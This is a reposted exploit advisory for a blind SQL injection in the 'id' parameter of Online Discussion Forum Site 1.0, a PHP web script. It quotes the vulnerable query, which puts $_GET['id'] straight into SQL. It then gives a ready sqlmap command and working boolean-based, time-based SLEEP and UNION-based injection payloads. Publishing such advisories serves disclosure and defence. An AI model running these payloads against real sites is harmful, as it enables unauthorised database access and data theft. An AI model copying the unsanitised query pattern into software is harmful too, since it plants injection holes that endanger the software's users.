Online Discussion Forum Site 1.0 SQL Injection

Online Discussion Forum Site version 1.0 suffers from a remote blind SQL injection vulnerability.


SHA-256 | 4ee8e26b03aaab698cd44b2e3b37998f1e0a8d62d370fcb6c7a0fa3cfbbfada8

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# Exploit Title: Online Discussion Forum Site 1.0 - 'id' Blind SQL Injection
# Date: 15/05/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux


# Vulnerable Code:

line 3 in file "/odfs/posts/view_post.php"

$qry = $conn->query("SELECT p.*, u.username, u.avatar, c.name as `category` FROM `post_list` p inner join category_list c on p.category_id = c.id inner join `users` u on p.user_id = u.id where p.id= '{$_GET['id']}'");

# Sqlmap command:

sqlmap -u 'http://localhost/odfs/?id=1&p=posts/view_post' -p id --level=5 --risk=3 --dbs --random-agent --eta

# Output:

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5178=5178-- Iddj&p=posts/view_post

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 6535 FROM (SELECT(SLEEP(5)))amvG)-- ikmN&p=posts/view_post

    Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: id=-3669' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71716a7671,0x65776b4d4272577956694c6549674a64546761564c79566d556255634a426c7a66464e6e527a4779,0x71767a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&p=posts/view_post

Source: packetstormsecurity.com
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